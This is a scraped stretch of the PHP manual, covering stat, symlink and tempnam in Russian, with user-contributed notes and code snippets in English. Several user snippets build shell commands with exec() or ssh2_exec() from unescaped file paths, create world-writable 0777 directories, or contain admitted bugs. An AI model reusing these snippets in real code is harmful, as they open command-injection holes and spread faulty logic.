  'size'=>$ss['size'], //Size of file, in bytes.
  'blocks'=>$ss['blocks'], //Number 512-byte blocks allocated
  'block_size'=> $ss['blksize'] //Optimal block size for I/O.
  ),

 'time'=>array(
  'mtime'=>$ss['mtime'], //Time of last modification
  'atime'=>$ss['atime'], //Time of last access.
  'ctime'=>$ss['ctime'], //Time of last status change
  'accessed'=>@date('Y M D H:i:s',$ss['atime']),
  'modified'=>@date('Y M D H:i:s',$ss['mtime']),
  'created'=>@date('Y M D H:i:s',$ss['ctime'])
  ),
 );

 clearstatcache();
 return $s;
}

?>

|=---------[ Example Output ]

Array(
[perms] => Array
  (
  [umask] => 0022
  [human] => -rw-r--r--
  [octal1] => 644
  [octal2] => 0644
  [decimal] => 100644
  [fileperms] => 33188
  [mode1] => 33188
  [mode2] => 33188
  )

[filetype] => Array
  (
  [type] => file
  [type_octal] => 0100000
  [is_file] => 1
  [is_dir] =>
  [is_link] =>
  [is_readable] => 1
  [is_writable] => 1
  )

[owner] => Array
  (
  [fileowner] => 035483
  [filegroup] => 23472
  [owner_name] => askapache
  [group_name] => grp22558
  )

[file] => Array
  (
  [filename] => /home/askapache/askapache-stat/htdocs/ok/g.php
  [realpath] =>
  [dirname] => /home/askapache/askapache-stat/htdocs/ok
  [basename] => g.php
  )

[device] => Array
  (
  [device] => 25
  [device_number] => 0
  [inode] => 92455020
  [link_count] => 1
  [link_to] =>
  )

[size] => Array
  (
  [size] => 2652
  [blocks] => 8
  [block_size] => 8192
  )

[time] => Array
  (
  [mtime] => 1227685253
  [atime] => 1227685138
  [ctime] => 1227685253
  [accessed] => 2008 Nov Tue 23:38:58
  [modified] => 2008 Nov Tue 23:40:53
  [created] => 2008 Nov Tue 23:40:53
  )
)
antonixyz at gmx dot net 21-Jul-2008 02:19
<?php
$stat = stat($filepath);
$mode = $stat[2];
?>
is identical to:
<?php $mode = fileperms($filepath); ?>

at least on my linux box.
mail4rico at gmail dot com 24-Apr-2008 11:19
In response to the note whose first line is:
Re note posted by "admin at smitelli dot com"

I believe you have the conversion backwards. You should add an hour to filemtime if the system is in DST and the file is not. Conversely, you should subtract an hour if the file time is DST and the current OS time is not.

Here's a simplified, corrected version:
<?php
    function getmodtime($file) { //returns the time a file was modified.
        $mtime = filemtime($file);
        //date('I') returns 1 if DST is on and 0 if off.
        $diff = date('I')-date('I', $mtime);
        //diff =  0 if file-time and os-time are both in the same DST setting
        //diff =  1 if os is DST and file is not
        //diff = -1 if file is DST and os is not
        return $mtime + $diff*3600;
    }
?>
Here's a test:
<?php
    //create two dummy files:
    $file0 = 'file1.txt';
    $file1 = 'file2.txt';
    file_put_contents($file0, '');
    file_put_contents($file1, '');

    $time0=strtotime('Jan 1 2008 10:00'); echo 'Date0 (ST): ' . date(DATE_COOKIE, $time0)."\n";
    $time1=strtotime('Aug 1 2008 10:00'); echo 'Date1 (DT): ' . date(DATE_COOKIE, $time1)."\n";
    touch($file0, $time0); //set file0 to Winter (Non-DST)
    touch($file1, $time1); //set file1 to Summer (DST)

    $ftime0 = filemtime($file0);
    $ftime1 = filemtime($file1);
    echo "\nUncorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //if your system adjusts for DST, then _one_ of the above should be 3600 or -3600, depending on the time of year

    $ftime0 = getmodtime($file0); //use filemtime correction
    $ftime1 = getmodtime($file1); //use filemtime correction
    echo "\nCorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //both of the corrected values output should be 0.
?>

Output:
------------------------------
(when run in summer)
------------------------------
Date0 (ST): Tuesday, 01-Jan-08 10:00:00 EST
Date1 (DT): Friday, 01-Aug-08 10:00:00 EDT

Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: 0
File 1: 0
------------------------------
(when run in winter--dates omitted)
------------------------------
Uncorrected:
File 0: 0
File 1: 3600

Corrected:
File 0: 0
File 1: 0

In response to Re note posted by "admin at smitelli dot com",  your version below gives the following output when substituted into my test:
------------------------------
(when run in summer--dates omitted)
------------------------------
Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: -7200
File 1: 0
------------------------------
You can see that the operation is the opposite of what it should be.
Hellhound 03-Mar-2008 02:16
To ignore index number or name specifics.. use:

list($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks)
         = lstat($directory_element);
JulieC 30-Jan-2007 07:21
The dir_size function provided by "marting.dc AT gmail.com" works great, except the $mas variable is not initialized.  Add:

   $mas = 0;

before the while() loop.
16-May-2006 10:10
Re note posted by "admin at smitelli dot com"

I'm not sure how that can work all year round since you have to modify both opposing inside and outside DST based on the actual files themselves, as well as the current DST setting for the system.

e.g. using filemtime, same thing for stat.

<?php

$mtime = filemtime($file);

if (date('I') == 1) {
    // Win DST is enabled, adjust standard time
    // files back to 'real' file UTC.
    if (date('I', $mtime) == 0) {
        $mtime -= 3600;
    }
} else {
    // Win DST is disabled, adjust daylight time
    // files forward to 'real' file UTC.
    if (date('I', $mtime) == 1) {
        $mtime += 3600;
    }
}

echo gmdate('Y-m-d H:i:s', $mtime);

?>

Just another example of why 'not' to use windows in a server room.
marting.dc AT gmail.com 28-Jan-2006 05:08
If you want to know a directory size, this function will help you:

<?php
function dir_size($dir)
{
    $handle = opendir($dir);

    while ($file = readdir($handle)) {
        if ($file != '..' && $file != '.' && !is_dir($dir.'/'.$file)) {
            $mas += filesize($dir.'/'.$file);
            } else if (is_dir($dir.'/'.$file) && $file != '..' && $file != '.') {
            $mas += dir_size($dir.'/'.$file);
        }
    }
    return $mas;
}
echo dir_size('DIRECTORIO').' Bytes';
?>
admin at smitelli dot com 02-Nov-2005 11:27
There's an important (yet little-known) problem with file dates on Windows and Daylight Savings. This affects the 'atime' and 'mtime' elements returned by stat(), and it also affects other filesystem-related functions such as fileatime() and filemtime().

During the winter months (when Daylight Savings isn't in effect), Windows will report a certain timestamp for a given file. However, when summer comes and Daylight Savings starts, Windows will report a DIFFERENT timestamp! Even if the file hasn't been altered at all, Windows will shift every timestamp it reads forward one full hour during Daylight Savings.

This all stems from the fact that M$ decided to use a hackneyed method of tracking file dates to make sure there are no ambiguous times during the "repeated hour" when DST ends in October, maintain compatibility with older FAT partitions, etc. An excellent description of what/why this is can be found at http://www.codeproject.com/datetime/dstbugs.asp

This is noteworthy because *nix platforms don't have this problem. This could introduce some hard-to-track bugs if you're trying to move scripts that track file timestamps between platforms.

I spent a fair amount of time trying to debug one of my own scripts that was suffering from this problem. I was storing file modification times in a MySQL table, then using that information to see which files had been altered since the last run of the script. After each Daylight Savings change, every single file the script saw was considered "changed" since the last run, since all the timestamps were off by +/- 3600 seconds.

This one-liner is probably one of the most incorrect fixes that could ever be devised, but it's worked flawlessly in production-grade environments... Assuming $file_date is a Unix timestamp you've just read from a file:

<?php
    if (date('I') == 1) $file_date -= 3600;
?>

That will ensure that the timestamp you're working with is always consistently reported, regardless of whether the machine is in Daylight Savings or not.
com dot gmail at algofoogle 21-Jul-2005 06:06
Re note posted by "salisbm at hotmail dot com":

S_IFDIR is not a single-bit flag. It is a constant that relies on the "S_IFMT" bitmask. This bitmask should be applied to the "mode" parameter before comparing with any of the other "S_IF..." constants, as indicated by stat.h:

#define S_ISDIR(m)  (((m) & S_IFMT) == S_IFDIR)

That is, this approach is incorrect:

<?php
define('S_IFDIR',040000);
if ($mode & S_IFDIR)
{
  /*
    incorrect!
    format could be S_IFDIR, but also
    S_IFBLK, S_IFSOCK, or S_IFWHT.
  */
}
?>

...and should instead be:

<?php
define('S_IFMT',0170000);
define('S_IFDIR',040000);
if (S_IFDIR == ($mode & S_IFMT)) {  /* ... */  }
?>

As pointed out by "svend at svendtofte dot com", however, there is also the "is_dir" function for this purpose, along with "is_file" and "is_link" to cover the most common format types...
mao at nospam dot com 07-Jun-2005 05:53
If you have ftp (and the related sftp) protocols disabled on your remote server, it can be hard figuring out how to 'stat' a remote file. The following works for me:

<?php

$conn = ssh2_connect($host, 22);
ssh2_auth_password($conn, $user, $password);
$stream = ssh2_exec($conn, "stat $fileName > $remotedest");
ssh2_scp_recv($conn, $remotedest, $localdest);
$farray = file($localdest);
print_r($farray);
?>
10-Nov-2004 07:41
If the 2GB limit is driving you crazy, you can use this complete hack.  use in place of filesize()

function file_size($file) {
  $size = filesize($file);
  if ( $size == 0)
    $size = exec("ls -l $file | awk '{print $5}'");
  return $size;
}
svend at svendtofte dot com 09-Oct-2004 04:31
To the note of how you can figure out if a file is a folder or not, there is also the handy "is_dir" function.
salisbm at hotmail dot com 11-Aug-2003 05:21
I was curious how I could tell if a file was a directory... so I found on http://www.hmug.org/man/2/stat.html the following information about the mode bits:
#define S_IFMT 0170000           /* type of file */
#define        S_IFIFO  0010000  /* named pipe (fifo) */
#define        S_IFCHR  0020000  /* character special */
#define        S_IFDIR  0040000  /* directory */
#define        S_IFBLK  0060000  /* block special */
#define        S_IFREG  0100000  /* regular */
#define        S_IFLNK  0120000  /* symbolic link */
#define        S_IFSOCK 0140000  /* socket */
#define        S_IFWHT  0160000  /* whiteout */
#define S_ISUID 0004000  /* set user id on execution */
#define S_ISGID 0002000  /* set group id on execution */
#define S_ISVTX 0001000  /* save swapped text even after use */
#define S_IRUSR 0000400  /* read permission, owner */
#define S_IWUSR 0000200  /* write permission, owner */
#define S_IXUSR 0000100  /* execute/search permission, owner */

Note that these numbers are in octal format.  Then, to check to see if the file is a directory, after calling fstat, I do:

if ($fstats[mode] & 040000)
  ... this must be a directory
ian at eiloart dot com 23-Jul-1999 08:52
Here's what the UNIX man page on stat has to say about the difference between a file change and  a file modification:

st_mtime  Time when data was last modified.  Changed by  the following  functions:   creat(),  mknod(), pipe(), utime(), and write(2).

st_ctime  Time when file status was last  changed.   Changed by  the  following  functions: chmod(), chown(), creat(), link(2), mknod(), pipe(), unlink(2), utime(), and write().

So a modification is a change in the data, whereas a change also happens if you modify file permissions and so on.


Создаёт символическую ссылку

  • « stat
  • tempnam »
  • PHP Manual
  • Функции файловой системы
  • Создаёт символическую ссылку

symlink

(PHP 4, PHP 5, PHP 7, PHP 8)

symlink — Создаёт символическую ссылку

Описание

symlink(string $target, string $link): bool

symlink() создаёт символическую ссылку на существующий файл target с именем link.

Список параметров

target

Цель ссылки.

link

Имя ссылки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Функция завершается с ошибкой и выдаёт E_WARNING, если link уже существует. В Windows функция также не работает и выдаёт E_WARNING, если target не существует.

Примеры

Пример #1 Создание символической ссылки

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

Смотрите также

  • link() - Создаёт жёсткую ссылку
  • readlink() - Возвращает файл, на который указывает символическая ссылка
  • linkinfo() - Возвращает информацию о ссылке
  • unlink() - Удаляет файл

User Contributed Notes

php-user at protonmail dot com 18-Apr-2023 10:00
Something that is not documented is that this function checks whether the target file exists. Such behavior can be quite inconvenient if you want to create several symbolic links to locally mounted remote files, for example with Rclone. In this specific case this function can take 2 or even more seconds to finish.
Scare! 08-Oct-2022 12:32
On Windows, symlink() does not accept paths with symbolic links in them. Use realpath() https://www.php.net/manual/en/function.realpath.php to expand the paths first.
alvaro at demogracia dot com 02-Apr-2018 11:37
To remove symlinks you need to use:

- rmdir() on Windows
- unlink() elsewhere

<?php
function removeSymlink($path) {
    if (PHP_SHLIB_SUFFIX==='dll') {
        return rmdir($path);
    }
    return unlink($path);
}
Wixiweb 08-Dec-2017 04:20
If you use the suhosin extension, you must allow symlink with :
> suhosin.executor.allow_symlink = On

Check your /var/log/syslog file for more information :
> suhosin: ALERT - symlink called during open_basedir
raat1979 at gmail dot com 11-Aug-2015 12:20
Be warned that at least with php 5.3 on windows 2008 R2 the symlink function is effected by the statcache.

I got error 183 indicating the link existed. While the symlink was actually moved to a different location by  another process and would certainly not exist anymore.
Calling clearstatcache with a filename does not work. Most probably as the filename is converted to a device path (e.g. "\Device\HarddiskVolume1\D-Drive\www\pp\#static\index.html") which is a requirement for the windows call.

easiest is to just call clearstatcache without a filename to resolve the issue.

if you really want to call clearstatcache with a filename you could use readlink on the already deleted symlink (that still lives in the statcache) to get the filename.
For example something like this:
<?php
if(@symlink('d:/www/pp/#static/index.html','d:/www/index.html')===false){
//link failed, perhaps a statcache issue? We try to get the target, if it is a statcache issue this should work just fine

if(($rl = @readlink($target))===false) return false; //not a cache issue as stat on a non-existing file failed, something else must be wrong...

//clear the stat cache for the actual target, strangely enough this works even-though this is the target and not the symlink to be created (*)
clearstatcache(true,$rl);

if(@symlink($source,$target) ===false) return false; //can't create the symlink
?>

*It looks for PHP on windows like the statcache is maintained on the target instead of the actual symlink (this would ease in getting the file properties and limit the size of the statcache)
flobee 26-Mar-2015 03:55
sym/hard linking i love to do it relative a lot but not that trivial when thinking wrong :-)
manpage says: the target is the _linkname_ and from that point to create relative links successful is to start from the directory where the link should be created e.g.:
/myfiles/now/here/
/myfiles/links/

chdir( realpath(dirname($target)));
You need to create/find out the relativ path to the source, otherwise the absolut path will be used in a link.

if you start to create the target path from the source eg:
"/myfiles/now/here/../../later/" and links should go to /myfiles/later/ you need to use realpath( dirname() ) set the new location using chdir() and start from here to link to the source which is ../now/here/
This you can find out e.g.: when having the absolut path of source and target:
$dirTo = realpath(dirname($to));
chdir($dirTo);
$linkName = basename($to);
$target = $dirTo . DIRECTORY_SEPARATOR . $linkName;
$srcFile = getRelativeDirectory($from, $to); //basicly a function which will find the from -> to, but in this case the from ist the target where you need to start.
below you can find some examples how to split the path in chunks to find a relativ path
lingtalfi 27-Aug-2014 09:09
If symlink seems not to work correctly, try to define the target argument as an absolute path.
Coding on MacOsX PHP5.5, I noticed that in some cases using an absolute path on the target argument was the only way I could have a proper symlink created.
zeomniscient 04-Jun-2014 01:21
Context:  php cli on windows OS.

Do not forget to start the console with "Run as Administrator" else symlink will return 'false' and raise the following error :
Warning: symlink(): Cannot create symlink, error code(1314)
Calin 01-Aug-2012 06:06
On IIS (Internet Information Services), you need to set permissions to allow the creation of symbolic links.

Go to Local Security Policy -> Local Policies -> User Rights Assignment and right click on Create symbolic links -> Properties -> Add User or Group and add the "IUSR" user, which should be the user associated with IIS.
A restart may be required.

If this doesn't work, go to IIS Manager -> Authentication -> select Anonymous Authentication -> Edit and enter your current logged in user, which should be an administrator.
Hit OK and now the symlink() function in php should work fine.
reddy1042001 at yahoo dot co dot in 27-Apr-2010 04:33
Symlinks on windows  are created by Symlink() which accept only absolute paths  but not relative paths .relative paths on windows are not supported for symlinks
Porjo 11-Nov-2009 07:36
Keep in mind when using a shared filesystem such as NFS, that you probably don't want to create a symbolic link with absolute paths e.g.

On Server1 you are running a PHP script that needs to create a symbolic link called widget2 which links to widget1 inside an NFS share mounted on your localhost at /mnt/nfs/widgets

On Server2 this same NFS share is mounted under /usr/local/widgets

If you used absolute paths on Server1, then Server2 would try to reference /mnt/nfs/widgets/widget1 which it won't be able to find...

You need to cd into the directory first, then create the link - that way the link will be relative. Unless you run the PHP script from the same directory where you'll be creating the symbolic links, then you can't use symlink(). Use exec() instead as follows:

<?php

exec("cd <nfs mount path>; ln -s <target> <link_name>");

?>
ewering at gmail dot com 14-Nov-2007 01:01
This function sometimes just fails to work for no appearent reason, returning FALSE and not creating a symlink. Doing the same with exec('ln -s source dest') works perfectly. I recommend using the latter.
12-Apr-2007 06:44
Um, duh... that's all I gotta say about by previous note. Please delete it. :)

Windows Vista has its own symlink program now (mklink). Hopefully future versions of PHP for Windows will have this function put it?

Anyway, this will work on Vista (assuming your PHP user has the proper permissions):
<?php
define('SYMLINK_FILE', 0);
define('SYMLINK_DIR', 1);
define('SYMLINK_JUNCTION', 2);
function symlink ($target, $link, $flag = SYMLINK_FILE) {
    switch ($flag) {
       case SYMLINK_DIR: $pswitch = '/d'; break;
       case SYMLINK_JUNCTION: $pswitch = '/j'; break;
       case SYMLINK_FILE:
       default: $pswitch = ''; break;
    }
    // Change / to \ because it will break otherwise.
    $target = str_replace('/', '\\', $target);
    $link = str_replace('/', '\\', $link);
    return exec('mklink ' . $pswitch . ' "' . $link . '" "' . $target . '"');
}
?>
Numien 23-Mar-2007 02:51
The one difference to using symlinks for controlled file access vs. readfile() is that the HTTP server will handle content-type of the symlink automatically.

If you always want it to be downloaded, this can be a negative point. However, if you want a file of non-predefined type to be viewable in the browser, this can be a real asset.

Of course, you can use fileinfo/mime-magic to do that, but those require a module which isn't always available on shared hosting.
04-Nov-2006 04:33
<?

/**
 * A function to emulate symbolic links on Windows.
 * Uses the junction utility available at:
 * http://www.sysinternals.com
 * Note that this will only work on NTFS volumes.
 *
 * The syntax of the junction utility is:
 * junction <junction directory> <junction target>
 *
 * Note that the parameter order of the Junction command
 * is the reverse of the symlink function!
 *
 * @param string $target
 * @param string $link
 */
function _symlink( $target, $link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction "' . $link . '" "' . $target . '"');
  } else {
    symlink($target,$link);
  }
}

function _unlink($link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction -d "' . $link . '"');
  } else {
    unlink($link);
  }
}
?>
anything at the domain williamfrantz.com 14-Feb-2006 05:15
Olszewski_marek makes a good suggestion, but the readfile() function can also be used to obscure file downloads from end users.

/* Setup the file that will be sent */
$downloadDir = "some/secret/directory/";
$file = "theFileName.dat";

/* Required for IE, otherwise Content-disposition is ignored */
if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off');

/* Output HTTP headers that force "Save As" dialog */
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\\"$file\\";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".@filesize($downloadDir.$file));

/* Prevent the script from timing out for large files */
set_time_limit(0);

/* Send the entire file using @ to ignore all errors */
@readfile($downloadDir.$file);

/* Exit immediately so no garbage follows the file contents */
exit;
29-Dec-2005 07:21
Olszewski seems pretty good, but just to boost the security a bit, the fifth line of his script should read
<?
...
    $q = rand(1,26);
...
?>

instead of rand(1,24).
contact at tcknetwork dot com 11-Sep-2005 08:04
To make your code portable on unix AND win32, do the following
1. Download http://www.dynawell.com/reskit/microsoft/win2000/linkd.zip
2. Unzip, put linkd.exe in C:\Windows\System32 or C:\WINNT\System32
3. Include in your code the following
<?
function _syslink($t /*target*/ ,$l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$t." ".$p.$l);
 } else syslink($t,$l);
}
function _unlink($l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$l." /D");
 } else unlink($l);
}
?>
4. Enjoy
_symlink(TARGET,LINK) works like symlink() on *nix
_unlink(LINK) to delete properly the link created
aircha at cix dot co dot uk 15-Mar-2005 08:49
Olszewski's method of creating downloadable links on the fly is pretty good.

I use a different technique under Apache where if you want a file, you might use a url like:

mydomain.com/files/mysecretfile.doc

But in fact Apache redirects this to a script with a url like:

mydomain.com/utilities/downloadfile.php?filename=mysecretfile.doc

(The browser address bar will still show the first url).

The script downloadfile.php can then handle all the mucky stuff like checking session variables to see if someone is logged on, whether they have access to mysecretfile.doc, and if you want to encrypt before download.

An advantage of this is that the php code to achieve the equivalent of Olszewski's is shorter, so might execute faster. But more importantly, a casual hacker might think all he has to do is find myverysecurefile.doc under the /home/user/public_html/files/mysecretfile.doc, or copy the url - but there's nothing there! He won't find it or get an Apache error page.
olszewski_marek at yahoo dot com 04-Dec-2000 08:54
Here is a simple way to control who downloads your files...

You will have to set: $filename, $downloaddir, $safedir and $downloadURL.

Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir.

The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested.  The browser is then redirected to the new link and the download begins.

The code also deletes any past symbolic links created by any past users before creating one for itself.  This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script.  There appears to be no problem if a symbolic link is deleted while another person is downloading from that link.

This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file.

Anyway enjoy:

<?php
$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4,12); $i++) {
   $q = rand(1,24);
   $string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
   if (is_dir($downloaddir . $dir)){
      if ($dir != "." && $dir != ".."){
         @unlink($downloaddir . $dir . "/" . $filename);
         @rmdir($downloaddir . $dir);
      }
   }
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
Header("Location: " . $downloadURL . $string . "/" . $filename);
?>


Создаёт файл с уникальным именем

  • « symlink
  • tmpfile »
  • PHP Manual
  • Функции файловой системы
  • Создаёт файл с уникальным именем

tempnam

(PHP 4, PHP 5, PHP 7, PHP 8)

tempnam — Создаёт файл с уникальным именем

Описание

tempnam(string $directory, string $prefix): string|false

Создаёт файл с уникальным именем в определённой директории с правами 0600. Если эта директория не существует или недоступна для записи, tempnam() может создать файл во временной директории системы и вернуть полный путь к этому файлу, включая его имя.

Список параметров

directory

Директория, где будет создан временный файл.

prefix

Префикс имени генерируемого файла.

Замечание: Используются только первые 63 символа префикса, остальные игнорируются. В Windows используются только первые три символа префикса.

Возвращаемые значения

Возвращает имя нового временного файла (вместе с путём) или false в случае неудачи.

Список изменений

Версия | Описание
7.1.0 | tempnam() теперь выдаёт уведомление при возврате во временный каталог системы.

Примеры

Пример #1 Пример использования функции tempnam()

<?php
$tmpfname = tempnam("/tmp", "FOO");

$handle = fopen($tmpfname, "w");
fwrite($handle, "записываем в во временный файл");
fclose($handle);

// здесь мы чего-нибудь делаем

unlink($tmpfname);
?>

Примечания

Замечание: Если PHP не может создать файл в указанной директории directory, он возвращается к директории по умолчанию вашей системы. На NTFS это также происходит в случае, если указанная директория directory содержит более 65534 файлов.

Смотрите также

  • tmpfile() - Создаёт временный файл
  • sys_get_temp_dir() - Возвращает путь к директории временных файлов
  • unlink() - Удаляет файл

User Contributed Notes

david at frankieandshadow dot com 22-May-2018 03:29
Debian 9 Stretch adds private temporary directories, so if you use this function when running as mod_php in Apache expecting that the file can be made available to a third party (e.g. in a shell command or a MariaDB load from temporary file command), it will no longer work: the file will not be visible to other processes, (though the same PHP will be able to read it back in).

Either you need to use the first parameter to put the temporary file somewhere specific (outside the HTML document tree) with permissions such that you can share it with the other party, or change the settings for private tmp, for example:

cp /lib/systemd/system/apache2.service /etc/systemd/system/
# edit /etc/systemd/system/ to change PrivateTmp=true to false
systemctl daemon-reload
service apache2 restart

Choosing a different location is better on a shared server - private tmp files were added for a reason.

This was something that puzzled me for ages when doing a recent OS upgrade.
stanislav dot eckert at vizson dot de 11-Jan-2017 01:55
Please note that this function might throw a notice in PHP 7.1.0 and above. This was a bugfix: https://bugs.php.net/bug.php?id=69489

You can place an address operator (@) to sillence the notice:

<?php

if ($tmp = @tempnam() !== false) {
  // ...
}

?>

Or you could try to set the "upload_tmp_dir" setting in your php.ini to the temporary folder path of your system. Not sure, if the last one prevents the notices.
wapmorgan 26-May-2014 05:54
Notice that tempnam will return NULL (not false) if the second parameter <prefix> isn't transferred:
<?php
var_dump(tempnam(sys_get_temp_dir())); // NULL
?>
also the warning will be generated:
Warning:  tempnam() expects exactly 2 parameters, 1 given in php shell code ...
divinity76+yaoiporn at gmail dot com 29-Sep-2013 02:00
if you don't want to take care of deleting the file yourself, and you don't need a custom prefix, you can use
$file_location=stream_get_meta_data(tmpfile())['uri'];
file will be created automatically, and deleted automatically on script close (thanks to tmpfile()) i found this useful for CURLOPT_COOKIEFILE (which wants a file location, not a handle)
Steve Clay 24-Sep-2013 02:59
You don't need tempdir(). Just use tempnam() and replace it with a directory of the same name:
<?php
$temp_dir = tempnam('/tmp', 'prefix');
unlink($temp_dir);
mkdir($temp_dir);
Anonymous 13-Feb-2012 07:44
tempnam will not create file in unauthorized area.
Meaning you need access permissions to the temp dir ($dir) in order to create a file there.
tomas at slax dot org 03-Jun-2010 02:31
Beware: functions are not atomic.  If many processes call the same function at the same time, you may end up with unwanted behavior.

If you need your own variant of tempnam, use something like this:

<?php
   function tempnam_sfx($path, $suffix)
   {
      do
      {
         $file = $path."/".mt_rand().$suffix;
         $fp = @fopen($file, 'x');
      }
      while(!$fp);

      fclose($fp);
      return $file;
   }

   // call it like this:
   $file = tempnam_sfx("/tmp", ".jpg");
?>

You may replace mt_rand() by some other random name generator, if needed.
anthon at piwik dot org 06-Apr-2010 04:20
The file created by tempnam() will have file permissions that reflect the current umask applied to the default (e.g., 0600 or -rw-------).  This is the case whether the umask is set before starting the web server process, or set by an earlier call to PHP's umask() function.

For example, if the current umask is 0022, the temporary file is created with permissions 0600 (read/write by owner).

Also, if the current umask is 0222, the temporary file is created with permissions 0400 (read-only by owner).  (This is problematic if your code then tries to open the temporary file for writing.)

It's important to remember that the umask revokes permissions.  In neither of the above examples are the group, other, or execute permissions set.

See:  umask(), chmod().
Artur Graniszewski 31-Mar-2010 10:57
tempnam() function does not support custom stream wrappers registered by stream_register_wrapper().

For example if you'll try to use tempnam() on Windows platform, PHP will try to generate unique filename in %TMP% folder (usually: C:\WINDOWS\Temp) without any warning or notice.

<?php

// << ...custom stream wrapper goes somewhere here...>>

echo '<pre>';
error_reporting(E_ALL);
ini_set('display_errors', true);
clearstatcache();
stream_register_wrapper('test', 'MemoryStream');

mkdir('test://aaa');
mkdir('test://aaa/cc');
mkdir('test://aaa/dd');
echo 'PHP '.PHP_VERSION;
echo '<br />node exists: '.file_exists('test://aaa/cc');
echo '<br />node is writable: '.is_writable('test://aaa/cc');
echo '<br />node is dir: '.is_dir('test://aaa/cc');
echo '<br />tempnam in dir: '.tempnam('test://aaa/cc', 'tmp');
echo "<br /></pre>";

?>

ouputs:
--------------------
PHP 5.2.13
node exists: 1
node is writable: 1
node is dir: 1
tempnam in dir: C:\Windows\Temp\tmp1D03.tmp

If you want to create temporary file, you have to create your own function (which will probably use opendir() and fopen($filename, "x") functions)
koyama 30-Aug-2009 05:39
Watch out using a blank $dir as a "trick" to create temporary files in the system temporary directory.

<?php
$tmpfname = tempnam('', 'FOO'); // not good
?>

If an open_basedir restriction is in effect, the trick will not work. You will get a warning message like

Warning: tempnam() [function.tempnam]: open_basedir restriction in effect.
File() is not within the allowed path(s): (/var/www/vhosts/example.com/httpdocs:/tmp)

What works is this:

<?php
$tmpfname = tempnam(sys_get_temp_dir(), 'FOO'); // good
?>
hm2k at php dot net 28-Jan-2009 09:15
<?php

function tempdir($dir=false,$prefix='php') {
    $tempfile=tempnam('','');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

/*example*/

echo tempdir();
// returns: /tmp/8e9MLi

?>
dmhouse at gmail dot com 03-Sep-2007 03:51
Guillaume Paramelle's comments below are worth underlining: tempnam() will not accept a relative path for its first directory. If you pass it one, it will (on Windows XP at least) create the temporary file in the system temp directory.

The easiest way to convert a relative path to an absolute path is to prepend getcwd():

<?php
$file = tempnam('files/temp', 'tmp'); // Wrong!
$file = tempnam(getcwd() . 'files/tmp', 'tmp') // Right.
?>
Jason Pell 12-Jan-2007 04:47
I want to guarantee that the file will be created in the specified directory or else the function should return FALSE, I have a simple function that works, but I am unsure if its a potential security issue.

function dir_tempnam($dir, $prefix)
{
    $real_dir_path = realpath($dir);
    if (substr($real_dir_path, -1) != '/')
        $real_dir_path .= '/';

    $tempfile = tempnam($real_dir_path, $prefix);
    $name = basename($tempfile);

    if(is_file($real_dir_path.$name))
        return $name;
    else
    {
        @unlink($name);
        return FALSE;
    }
}

This function returns just the name of the temporary file in the specified directory, or FALSE.

Obviously it could return the entire $tempfile, but in my case, I actually want the basename value seperate.
tux ARROBA cenobioracing PUNTO com 27-Aug-2006 05:19
Beware that on Windows NT and other windows, if you have, for example, a variable $work_dir with a path to some dir on your document root(or any other dir). Note the following:
<?php
$work_dir = 'C:/some/path/to/document_root/dir';
file_exists($working_dir); // Returns true
is_writable($working_dir); // Returns true
$tempfile = tempnam($working_dir,'img');
//$temfile now contains a system wide temp directory file, like 'C:/WINNT.SBS/img444.tmp' instead of the directory we pass it
//Thats because we need to give I_USR (IIS user) user write permission to $working_dir  although according to the aforementioned functions seemed it already had it...
//If you want to use just the system wide temp directory return by default by tempnam you will also need to give it write permission to I_USR user to be able to write to that file...
?>
Ron Korving 03-Feb-2006 12:32
This function creates a temporary directory. The previous example given could bug if between the unlink() and mkdir() some process creates the same directory or file. This implementation is faster too.

<?php
  function tempdir($dir, $prefix='', $mode=0700)
  {
    if (substr($dir, -1) != '/') $dir .= '/';

    do
    {
      $path = $dir.$prefix.mt_rand(0, 9999999);
    } while (!mkdir($path, $mode));

    return $path;
  }
?>
KOmaSHOOTER at gmx dot de 18-Sep-2005 01:51
This Example makes a File called "user.txt"
in the dir www.XXXXX.XX/restricted/
<?php
$tmpfname = tempnam($_ENV["DOCUMENT_ROOT"]."/restricted", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something
//echo($_ENV["DOCUMENT_ROOT"]);
copy($tmpfname,'user.txt');
 ?>
php at REMOVEMEkennel17 dot co dot uk 05-Mar-2005 10:10
